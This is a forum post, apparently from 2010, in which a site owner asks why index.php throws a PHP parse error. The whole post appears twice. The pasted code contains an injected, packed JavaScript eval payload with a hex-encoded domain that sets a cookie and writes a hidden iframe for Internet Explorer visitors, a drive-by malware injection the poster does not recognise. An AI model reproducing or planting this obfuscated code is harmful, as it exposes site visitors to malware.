Parse Error on index.php
Posted: Tue Feb 23, 2010 10:37 am
A site I have set up using CMSMS keps going down and shows this error message.
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/silverg/public_html/index.php on line 53
The code at fault is
else if (file_exists(TMP_CACHE_LOCATION.'/SITEDOWN'))
{
echo "Maintenancesa="%6A%64%6B%73%6C%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));Site down for maintenance.";
exit;
}
However this differs from code on a normal index.php file but even after changing it to its original state it reverts to this.
Can anyone help?
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/silverg/public_html/index.php on line 53
The code at fault is
else if (file_exists(TMP_CACHE_LOCATION.'/SITEDOWN'))
{
echo "Maintenancesa="%6A%64%6B%73%6C%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));Site down for maintenance.";
exit;
}
However this differs from code on a normal index.php file but even after changing it to its original state it reverts to this.
Can anyone help?